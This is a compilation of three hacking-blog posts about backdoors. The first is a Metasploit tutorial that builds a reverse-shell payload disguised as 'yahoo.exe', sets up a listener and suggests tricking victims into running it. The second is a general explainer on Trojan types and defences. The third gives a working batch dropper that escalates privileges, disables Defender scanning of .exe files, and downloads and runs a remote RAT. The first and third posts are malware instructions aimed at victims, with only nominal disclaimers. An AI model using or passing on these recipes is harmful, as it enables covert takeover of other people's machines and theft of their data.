Backdoor – AnonyViet – English Version

Instructions to create a backdoor virus in Backtrack 5 R3

AnonyViet — Wed, 01 Feb 2023 10:59:15 +0000

Today I will show you how to create a backdoor in Backtrack in a very simple way, without any programming knowledge, and this virus is also created by you so you don’t have to worry about becoming a backdoor. to be anyone’s victim. In this article, I only guide in Lan network, if you want to use it on the internet, you just need to change the host’s private IP to public IP.

Join the channel Telegram of the AnonyViet 👉 Link 👈

First of all, what is a Backdoor, a backdoor is simply a virus that opens a connection port to the victim in order to get personal information on the victim’s computer or control the victim’s machine to serve the deployment of DDoS attacks to the victims. other kernel. Once the victim has executed the virus file, you can almost take full control of the victim’s machine depending on your ability.

Before starting to work, I would also like to reiterate, the article is for reference and research, destructive, not for bad purposes, so please consider before doing anything illegal. And I will only support those of you who have knowledge but haven’t done it yet, meaningless questions like “Can you hack it for me, you can only do it for me, please guide me in detail with…..bla..bla..bla” then I will not reply.

Let’s get to work, first use the command ifconfig check the IP of the Backtrack machine, here the IP of the backtrack machine is 192.168.1.4

Next, use the following command to create a Backdoor with the name yahoo.exe

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=4444 x > /root/Desktop/yahoo.exe

Where, LHOST is the IP address of the host machine (backtrack).

LPORT is the port we connect to the victim

This is the yahoo.exe file that we just created

Now we will turn on the listening mode to wait for the prey to fall into the trap, we run the following 2 commands to go to the framework directory to run msfconsole mode

cd /pentest/exploit/framework
./msfconsole

In msfconsole mode, we run the following commands to open the port waiting.. 🙂

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.4
set LPORT 4444
set channel 1
exploit

Now I will send that file to the victim on the xp machine

After the victim runs the yahoo.exe file, on the backtrack machine, you will see that we have connected to the victim’s machine as shown in the picture.

That’s it, I will use some commands to see the victim machine in DOS environment

sysinfo (to view victim machine information)

Shell (to enter the DOS environment on the victim machine)

At this point, it looks like you have taken control of the victim’s machine, it just depends on your ability to use DOS.
As for the virus, you think for yourself how to entice the victim to click, depending on your ability to cheat…^^, For example, you can combine with a certain software.
Well, note, if the victim’s computer has anti-virus software, the virus won’t work, if you want to surpass the anti-virus software, please study hard, if you have time, I will write instructions later.

Here is my finished clip for you to imagine.

Good luck.

The article achieved: 5/5 – (100 votes)

Knowledge Hacking – What is Trojan, Backdoor (Part 3)

AnonyViet — Tue, 31 Jan 2023 08:58:25 +0000

Trojans and Backdoors are two methods that hackers use to illegally infiltrate the target system. They have different states, but have one thing in common: The hacker must install another program on the target computer, or the user is tricked into installing a Trojan or Backdoor program on their computer. .

Join the channel Telegram of the AnonyViet 👉 Link 👈

1. Trojan
Trojan A type of malicious code named after the legend of “Trojan Horse”. A Trojan is a program which contains dangerous and malicious code hidden in the form of good data but the program appears to be innocuous as far as this feature it can control and cause harm, for example opening a distribute files in your hard disk.

2. Backdoors
A backdoor is a program (program) or related to a program, used by a hacker to install on the target system, in order to give him back access to the system at a later time. The purpose of the backdoor is to verifiably remove the logging system. It also helps hackers to stay in access status when detected by the administrator and find a way to fix it.

3. The purpose of the trojan
• Steal information such as passwords, credit card security code information using keylogers
• Using the victim’s computer to create a botnet (ghost computer network) to perform DDOS attacks
• Delete or replace important system files
• Create a fake connection to attack DOS
• Download Spyware Adwares and Malicious Files
• Disable firewalls and anti-virus software
• Screen capture, audio recording, screen recording of the victim’s device
• infect the victim’s PC as a proxy server for relay attacks
• Using the victim’s computer to spread spam and mail bombs

4. Recognizing a Trojan Attack

• CD-ROM drive opens and closes by it

• Your computer’s browser redirects to unknown pages

• Anti-Virus is disabled or its properties are not active.

• Taskbar disappears

• The chat dialog is appearing on the victim’s computer

• The color setting window is changed

• Windows Start button disappears

• Account and password changed or not authenticated

• Computer screen turns upside down or upside down

• The settings of the idle screen change automatically

• The service provider complains that the victim is scanning his ip

• Unusual purchase reports appear on your credit card

• Wallpaper and background change

• Functions of left and right buttons are reversed

• People know a lot of information about the victim

• The computer screen is turned off by it

• Document or message printed from your printer

• Mouse pointer disappears or moves by it

• The computer is turned off or turned on by it

• Shortcut Ctrl+Alt+Del stops working

5. Ports used by popular trojans

How to use netstat -an command in CMD mode to see the status of ports?

6. How are Trojans deployed?

• Create a new Trojan using Trojan house Construction Kit

• Creates a Trojan, part of a Trojanized package that installs malicious code on the target system

• Create a wrapper to install on the victim’s computer

• Dissemination of Trojans

• Implement droppers

• Regular enforcement of termites

7. How does the Trojan infect?

• Legalize an illegal package in packaged software

• Fake program

• Download files, games and screensavers from sites on the internet

• Untrusted freeware sites

• NetBIOS (Share files)

• Instant messaging app

• IRC(Internet Relay Chat)

• Attachments

• Physical access

• Errors in browser and mail software

8. Classification of trojans

a. Command shell Trojan

• The Trojan Shell command allows remote control of the shell command on the victim’s computer

• The Trojan server is installed on the victim’s machine, in which it opens a port for the Attacker to connect to.

A workstation is on the Attacker’s machine, where it is used to run shell commands on the victim’s computer

b. Email Trojans

• Attacker remotely controls the victim’s computer by sending an email

• Attacker can get files or folders by sending commands via email

• Attacker opens SMTP relay server and spoofs email from a field to hide the origin

c. Botnet Trojans

• The botnet Trojan infects a large number of computers over a large geographical area, creating a network of bots controlled through a central Command and Control (C&C)

• Botnets are used to launch a variety of attacks on a victim including denial of service attacks, spamming, click fraud and financial information theft

d. Proxy server Trojans

• Trojan Proxy is commonly used as an application that allows a remote attacker to use the victim’s computer as a proxy to connect to the Internet.

• Proxy server Trojan, when infected, starts hiding a Proxy server on the victim’s computer

• Thousands of computers on the Internet are infected with Proxy servers using this technique

e. FTP Trojans

• FTP Trojans install FTP server on victim machine, it opens FTP port

• Attacker can connect to the victim’s machine using the FTP port to download any file that exists on the victim’s computer.

f. VNC Trojans

The VNC Trojan starts a VNC Server daemon on the infected system. It connects to the victim using any VNC viewer with the password “secret”. When the VNC program is scrutinized, the Trojan will never be detected by the anti-virus.

g. HTTP/HTTPS Trojans

• HTTP Trojan can bypass any firewall and work under the reverse of an HTTP tunnel

• They are executed on the local host and then self-replicate in a pre-calculated cycle

• Subroutine appears to the firewall user thus allowing Internet access

H. Remote Access Trojan

The Trojan works like accessing Remote Desktop. Hacker takes over all GUI to access remote system

• Infects computer(Rebecca’s) with server.exe and back-connecting Trojan

• Trojan connects to port 80 so that the Russian attacker establishes a reverse connection

• Jason, the attacker, has full control of Rebecca’s machine

i. . E-banking Trojans

E-Banking Trojan Intercepts the victim’s account information before it is encrypted and sends Trojan commands to the attacker’s control center.

k. Destructive Trojans

• This is a dangerous and destructive type of Trojans

• When executed this Trojans destroy the operating system

• Trojans format all local and network drives

• User will not be able to boot the operating system

l. Encryption Trojans

• Encryption Trojan: encrypts data files in the victim’s system and makes the information unusable

• Attackers ask for a ransom or manpower to make purchases from their online drug stores in return for the password to unlock

9. Detect trojans

• Run Trojan scanner to detect Trojan

• Scan for suspicious NETWORK ACTIVITIES

• Scan for suspicious changes to OS FILES

• Scan for suspicious STARTUP PROGRAMS

• Scan for Suspicious FILES AND Folders

• Scan for suspicious DEVICE DRIVERS installed on the computer

• Scan for suspicious WINDOWN SERVICES

• Scan for suspicious REGISTRY ITEM

• Scan for suspicious OPEN PORTS

• Scan for suspicious RUN PROCESSES

10. Countermeasures against Trojan

• Avoid downloading and executing applications from untrusted sources

• Avoid opening email attachments received from unknown senders

• Install patches and security updates for operating systems and applications

• Scan CDs and floppy disks with anti-virus software before use

• Avoid accepting instant messaging schemes

• Block all unnecessary ports at servers and firewalls

• When hardware is weak, Set default configuration

• Disable unused functions including protocols and services

• Avoid typing commands blindly and execute pre-made programs or scripts

• Monitor intranet traffic for odd ports or encrypt traffic

• Workstation local file integrity management through checksums, audits, and port scans

• Run versions of anti-virus, firewall, and intrusion detection software

• Restrict access in the desktop environment to prevent malicious applications from installingat on

11. Countermeasures against backdoors

• Most commercial anti-virus products can automatically scan and detect backdoor programs before they can cause damage

• Prevent users from installing apps downloaded from untrusted Internet sites and email attachments

• Use anti-virus tools such as Windows Defender, McAfee, Norton to detect and remove backdoors

12. Penetration testing

• Scan system for open ports, running processes, registry keys, device drivers and services If any suspicious ports, processes, registry entries, device drivers or services are detected , check the related executables

• Gather more information about the word from the publisher’s website, if available, and the Internet Check if open ports are known to be opened by Trojans in the wild

• Check startup programs and determine if all programs in the list can be recognized with known functions

• Check data files for modification or manipulation by opening several files and comparing the hash value of these files with a precomputed hash

• Check for suspicious network activity such as bulk file uploads or unusually high traffic going to a specific web address

• Check for important OS file modifications or manipulations using tools like tripwire or compare hashes yourself if you have a backup

• Run an updated Trojan scanner from a reputable vendor to identify Trojans in the wild.

• Text all findings in previous steps, it helps in determining next action if Trojans are identified in the system

• Isolate the infected system from the network immediately to prevent further infection

• Complete system disinfection for Trojans using anti-virus updates

The article achieved: 5/5 – (100 votes)

How to create a simple Backdoor with CMD

AnonyViet — Fri, 06 Jan 2023 01:10:26 +0000

As we all know, in the cybersecurity industry, Backdoor is a malicious software that bypasses the authentication in a certain system, gaining unauthorized access. Not only that, hackers also use it to steal data, attack networks, etc. And today, I will guide you to create a simple Backdoor with just a simple Batch script. For those of you who do not know about Backdoor, please read this paragraph or you can find out here. Alright, let’s get to the point

Note: This article is for educational purposes only. Any illegal acts Anonyviet will not bear the full responsibility that you have caused

How to Create a Simple Backdoor with Just One Batch Script

To create a Backdoor, first create a file with the extension .bat and then copy the following code

@echo off

>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"

if '%errorlevel%' NEQ '0' (
    goto UACPrompt
) else ( goto gotAdmin )

:UACPrompt
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    set params = %*:"=""
    echo UAC.ShellExecute "cmd.exe", "/c %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"

    "%temp%\getadmin.vbs"
    del "%temp%\getadmin.vbs"
    exit /B

:gotAdmin
    pushd "%CD%"
    CD /D "%~dp0"
Powershell -Command "Set-MpPreference -ExclusionExtension exe"
cd %TEMP%
curl "paste link backdoor của bạn ở đây" -o rat.exe
rat.exe

In the above code, we need to change a bit in the second line of code from the bottom, please create a direct download link to your computer, make sure that the link contains trojan virus, malware, etc. you want, next name the backdoor that you want to download to the victim’s computer, I’ll name it rat.exe So we have created the Backdoor. Now I will explain how it works

The way it works is as follows:

This script grants administrator privileges, then downloads and executes a file named “rat.exe” from a remote server. First, I used the cacls command to check the above permissions. the system file is located at “%SYSTEMROOT%\system32\config\system”. If the command fails, the script will switch to the UACPrompt label, which will generate a VB (Visual Basic) script that prompts the victim to run the script with administrator privileges. If the cacls command gives no errors then the script jumps to the gotAdmin label and proceeds to execute the rest. We can see that the label gotAdmin changes to the directory containing the pushd and CD commands. It will then run a PowerShell command to set the option for file exclusion extensions to exe. Finally, it switches to the %TEMP% directory and uses the curl command to download “rat.exe” from a remote server. It will then run the downloaded file using the rat.exe command.

Thus, this Backdoor works very simply, if the machine installs 2 or more Antivirus, this Backdoor becomes useless and the victim will detect it. Here are some ways to prevent Backdoor for everyone to know and avoid

How to prevent Backdoor

1.Verify the origin and authenticity of any file or program before running

2.Update the latest anti-virus software versions

3.Do not download unknown software

4.Use Firewall

This is the end of the article, I hope you learn something from this article. Wishing you all a very nice day!

You can also read more articles Villain – Bypass AntiVirus hijacks Windows and Linux shells at website Anonyviet.com

Rate this post